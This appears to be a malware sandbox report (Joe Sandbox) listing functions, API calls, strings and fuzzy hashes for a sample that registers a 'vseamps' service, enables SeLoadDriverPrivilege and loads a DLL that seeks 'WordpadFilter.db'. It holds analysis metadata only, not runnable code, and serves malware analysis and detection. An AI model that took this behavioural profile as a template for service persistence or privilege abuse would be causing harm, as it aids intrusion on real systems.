Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: File$CreateReadmalloc
String ID: .$.$L$M$M$a$a$c$c$d$d$i$l$l$l$l$m$m$o$p$r$s$s$s$t$t$t$v
API String ID: 3950102678-3381721293
Opcode ID: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction ID: 29f707ba186f29322d2427d6251999ac740dd2877dad0e4ee3b4d54c0b8fffc7
Opcode Fuzzy Hash: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction Fuzzy Hash: 0241A03250C7C0C9E372C729E45879BBB91E3A6748F04405997C846B9ACBBED158CB22

Function 00007FFBC1BA1C00 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBC1BA1C28
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBC1BA1C7A
_RTC_Initialize.LIBCMT ref: 00007FFBC1BA1CA8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBC1BA1CCE
__scrt_release_startup_lock.LIBCMT ref: 00007FFBC1BA1CF9

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction ID: df331209a9c2bac8a3253438dec6de374fb007abf8271c7ad2a000f1697e5e95
Opcode Fuzzy Hash: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction Fuzzy Hash: 8A819EE9F0E64346FB94AF75D44127B2390AF46780F44A475EA4DB7B92EE3CE8458E00

Function 00007FFBC1BA1720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNEL32 ref: 00007FFBC1BA1753
FreeLibrary.KERNEL32 ref: 00007FFBC1BA1981

Part of subcall function 00007FFBC1BA1B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBC1BA1BC0
Part of subcall function 00007FFBC1BA1B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBC1BA1BC6

Part of subcall function 00007FFBC1BA1720: FindFirstFileA.KERNELBASE ref: 00007FFBC1BA1536

Strings

WordpadFilter.db, xrefs: 00007FFBC1BA1527

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Concurrency::cancel_current_taskFree$ConsoleFileFindFirstLibrary
String ID: WordpadFilter.db
API String ID: 868324331-3647581008
Opcode ID: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction ID: 499664675e561f705db1643c849e155e848709e424c5061f75918aed4bc41ac7
Opcode Fuzzy Hash: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction Fuzzy Hash: 1E31AC76B16B4189E740CFB1D8502AE73B5EB89788F449635EE8C23B04EF38D192C740

Function 00007FFBC1BA11B0 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFBC1BA14EB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFBC1BA14F7

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction ID: f7ddcc1b4e6e24180819d165e06d4786e210984f327d2f4bc3191454cccebfa3
Opcode Fuzzy Hash: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction Fuzzy Hash: 36812666B1A78245E7518F35D8401BAA794EF57BC4F149335EA9D73B82DF3CE0928B00

Function 00000001400073E0 Relevance: 1.6, APIs: 1, Instructions: 121
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00000001400073E2

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction ID: 9a2124daaedac402c784edcfb7064d0c1467828d98a6eaf5875e1b487be58861
Opcode Fuzzy Hash: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction Fuzzy Hash: 2451A676619BC582DA71CB1AE4907EEA360F7C8B85F504026EB8E87B69DF3DC455CB00

Non-executed Functions

Function 0000000140001A30 Relevance: 37.9, APIs: 30, Instructions: 422memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
EnterCriticalSection.KERNEL32 ref: 0000000140001B48
LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
EnterCriticalSection.KERNEL32 ref: 0000000140001BE6
LeaveCriticalSection.KERNEL32 ref: 0000000140001C67
EnterCriticalSection.KERNEL32 ref: 0000000140001C84
LeaveCriticalSection.KERNEL32 ref: 0000000140001D0D
lstrlenW.KERNEL32 ref: 0000000140001D1F
GetProcessHeap.KERNEL32 ref: 0000000140001D2E
HeapAlloc.KERNEL32 ref: 0000000140001D3C
EnterCriticalSection.KERNEL32 ref: 0000000140001D6F
LeaveCriticalSection.KERNEL32 ref: 0000000140001DF0
lstrlenW.KERNEL32 ref: 0000000140001DFF
GetProcessHeap.KERNEL32 ref: 0000000140001E0E
HeapAlloc.KERNEL32 ref: 0000000140001E1C
EnterCriticalSection.KERNEL32 ref: 0000000140001E4F
LeaveCriticalSection.KERNEL32 ref: 0000000140001ED0
EnterCriticalSection.KERNEL32 ref: 0000000140001EED
LeaveCriticalSection.KERNEL32 ref: 0000000140001F6E
lstrlenW.KERNEL32 ref: 0000000140001F7D
GetProcessHeap.KERNEL32 ref: 0000000140001F8C
HeapAlloc.KERNEL32 ref: 0000000140001F9A
EnterCriticalSection.KERNEL32 ref: 0000000140001FCD
LeaveCriticalSection.KERNEL32 ref: 000000014000204E
lstrlenW.KERNEL32 ref: 000000014000205D
GetProcessHeap.KERNEL32 ref: 000000014000206C
HeapAlloc.KERNEL32 ref: 000000014000207A
EnterCriticalSection.KERNEL32 ref: 00000001400020B4
LeaveCriticalSection.KERNEL32 ref: 000000014000214E

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Heap$AllocProcesslstrlen
String ID:
API String ID: 3526400053-0
Opcode ID: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction ID: dcb8fc7c666fd7128fde866f0540a8def7dae1288ec2bbf322971b46f3f62141
Opcode Fuzzy Hash: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction Fuzzy Hash: E3220F76211B4086E722DF26F840B9933A1F78CBE5F541226EB5A8B7B4DF3AC585C740

Function 0000000140003F80 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 160timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
OpenProcessToken.ADVAPI32 ref: 0000000140004007
GetLastError.KERNEL32 ref: 0000000140004011
LookupPrivilegeValueW.ADVAPI32 ref: 000000014000403A
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140004080
GetLastError.KERNEL32 ref: 000000014000408A
CloseHandle.KERNEL32 ref: 0000000140004095
EnterCriticalSection.KERNEL32 ref: 00000001400040B3
LeaveCriticalSection.KERNEL32 ref: 000000014000412B
GetVersionExW.KERNEL32 ref: 0000000140004155
RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
RpcServerListen.RPCRT4 ref: 00000001400041D3
CreateWaitableTimerW.KERNEL32 ref: 0000000140004205
CreateEventW.KERNEL32 ref: 000000014000421C
SetWaitableTimer.KERNEL32 ref: 0000000140004289

Strings

ampStartSingletone: logging started, settins=%s, xrefs: 0000000140003FD5
null, xrefs: 0000000140003FCE
SeLoadDriverPrivilege, xrefs: 000000014000402A

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSectionServer$CreateErrorLastProcessTimerTokenWaitable$AdjustCloseContextCurrentDontEnterEventHandleInitializeLeaveListenLookupOpenPrivilegePrivilegesProtseqRegisterSerializeValueVersion
String ID: SeLoadDriverPrivilege$ampStartSingletone: logging started, settins=%s$null
API String ID: 3408796845-4213300970
Opcode ID: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction ID: 59d58333609de1a5812b0fd1fbb73637b4596d8d749a2627428b03e5fdfefd81
Opcode Fuzzy Hash: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction Fuzzy Hash: B19104B1224A4182EB12CF22F854BC633A5F78C7D4F445229FB9A4B6B4DF7AC159CB44

Function 00000001400042B0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 59synchronizationtimethreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

Strings

ampStopSingletone: logging ended, xrefs: 00000001400043B2

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterLeaveServer$CancelEventListeningMgmtObjectSingleStopTerminateThreadTimerUnregisterWaitWaitable
String ID: ampStopSingletone: logging ended
API String ID: 2048888615-3533855269
Opcode ID: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction ID: 72436faa0f880f3f140bbf81e9e476d17cd4b789f208762ad84a5967a0be411a
Opcode Fuzzy Hash: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction Fuzzy Hash: 85315178221A0192EB17DF27EC94BD82361E79CBE1F455111FB0A4B2B1CF7AC5898744

Function 0000000140001520 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00000001400015A4
GetLastError.KERNEL32 ref: 00000001400015B2

Part of subcall function 0000000140001430: GetModuleFileNameW.KERNEL32 ref: 000000014000145E
Part of subcall function 0000000140001430: OpenSCManagerW.ADVAPI32 ref: 000000014000146C
Part of subcall function 0000000140001430: GetLastError.KERNEL32 ref: 000000014000147A

Strings

vseamps, xrefs: 0000000140001538
/service, xrefs: 000000014000153F
/remove, xrefs: 000000014000157E

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: ErrorLastManagerOpen$FileModuleName
String ID: /remove$/service$vseamps
API String ID: 67513587-3839141145
Opcode ID: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction ID: ba5f49d8dd96f1c36e401cc1f7cdff7269c229e2e129f463089a9495e32f08e5
Opcode Fuzzy Hash: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction Fuzzy Hash: F031E9B2708B4086EB42DF67B84439AA3A1F78CBD4F480025FF5947B7AEE79C5558704

Function 00000001400022C0 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140002315
CreateEventW.KERNEL32 ref: 0000000140002326
CreateEventW.KERNEL32 ref: 0000000140002340
CreateEventW.KERNEL32 ref: 000000014000235E
RpcImpersonateClient.RPCRT4 ref: 0000000140002372
GetCurrentThread.KERNEL32 ref: 0000000140002390
OpenThreadToken.ADVAPI32 ref: 00000001400023A7
RpcRevertToSelfEx.RPCRT4 ref: 0000000140002402

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CreateEvent$Thread$ClientCriticalCurrentImpersonateInitializeOpenRevertSectionSelfToken
String ID:
API String ID: 4284112124-0
Opcode ID: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction ID: d1cc2c0b88e239984ef66edc10b99dba483783d79de04edfe0f0364e5ac1fb7c
Opcode Fuzzy Hash: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction Fuzzy Hash: 65415D72604B408AE351CF66F88479EB7A0F78CB94F508129EB8A47B74CF79D595CB40

Function 0000000140001430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000000014000145E
OpenSCManagerW.ADVAPI32 ref: 000000014000146C
GetLastError.KERNEL32 ref: 000000014000147A
CreateServiceW.ADVAPI32 ref: 00000001400014D4
CloseServiceHandle.ADVAPI32 ref: 00000001400014E2
CloseServiceHandle.ADVAPI32 ref: 00000001400014F5

Strings

vseamps, xrefs: 00000001400014AD, 00000001400014B4

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Service$CloseHandle$CreateErrorFileLastManagerModuleNameOpen
String ID: vseamps
API String ID: 3693165506-3944098904
Opcode ID: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction ID: 61898eac7960aa5413d410c65d13376abce5a62f28ec8a6c68938921ced9de71
Opcode Fuzzy Hash: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction Fuzzy Hash: F321FCB1204B8086EB56CF66F88439A73A4F78C784F544129E7894B774DF7DC149CB00

Function 0000000140009300 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,?,00000000,00000001,000000014000961C,?,?,?,?,?,?,0000000140009131,?,?,00000001), ref: 00000001400093CF

Strings

..., xrefs: 0000000140009431
Runtime Error!Program: , xrefs: 000000014000938D
Microsoft Visual C++ Runtime Library, xrefs: 00000001400094B4
<program name unknown>, xrefs: 00000001400093D9

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction ID: eb4045a5a240d2828a775daba1198261b01968dd91f8e387fbd6cb4ec0284cf4
Opcode Fuzzy Hash: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction Fuzzy Hash: F851EFB131464042FB26DB2BB851BEA2391A78D7E0F484225BF2947AF2DF39C642C304

Function 000000014000BB70 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000BBDC
GetLastError.KERNEL32 ref: 000000014000BBEC
LCMapStringW.KERNEL32 ref: 000000014000BC5F
WideCharToMultiByte.KERNEL32 ref: 000000014000BCC8
WideCharToMultiByte.KERNEL32 ref: 000000014000BD80
LCMapStringA.KERNEL32 ref: 000000014000BDA3

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

LCMapStringA.KERNEL32 ref: 000000014000BE48
MultiByteToWideChar.KERNEL32 ref: 000000014000BEC8

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: String$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 2057259594-0
Opcode ID: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction ID: f9b9a5bb90e2e08b647a9eb75fc4ff4e18af91537db3c322e1916602633d995e
Opcode Fuzzy Hash: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction Fuzzy Hash: B6A16AB22046808AEB66DF27E8407EA77E5F74CBE8F144625FB6947BE4DB78C5408700

Function 00007FFBC1BA2630 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBC1BA264C
RtlCaptureContext.KERNEL32 ref: 00007FFBC1BA2679
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBC1BA2693
RtlVirtualUnwind.KERNEL32 ref: 00007FFBC1BA26D4
IsDebuggerPresent.KERNEL32 ref: 00007FFBC1BA2728
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBC1BA2745
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBC1BA2750

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction ID: 3acfe1979e7d7e1f5b4555da643ce0a41fcf3091797f7ee2c0410dc528fa3366
Opcode Fuzzy Hash: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction Fuzzy Hash: 7E314DB6609F8186EB608F74E8403EE7361FB88744F44543ADA4E57B94DF38D648CB10

Function 0000000140007C91 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140007D66
IsDebuggerPresent.KERNEL32 ref: 0000000140007DAA
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140007DB4
UnhandledExceptionFilter.KERNEL32 ref: 0000000140007DBF
GetCurrentProcess.KERNEL32 ref: 0000000140007DD5
TerminateProcess.KERNEL32 ref: 0000000140007DE3

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction ID: e2ab3ef72b7f240c54b21dbf897bf6525f512fe4427dd1c0d247b710ac710d4c
Opcode Fuzzy Hash: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction Fuzzy Hash: 53115972608B8186D7129F62F8407CE77B0FB89B91F854122EB8A43765EF3DC845CB00

Function 00007FFBC1BA76E0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFBC1BA7759
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBC1BA7771
RtlVirtualUnwind.KERNEL32 ref: 00007FFBC1BA77AC
IsDebuggerPresent.KERNEL32 ref: 00007FFBC1BA77E5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBC1BA77EF
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBC1BA77FA

Memory Dump Source

Source File: 00000009.00000002.2641443333.00007FFBC1BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC1BA0000, based on PE: true

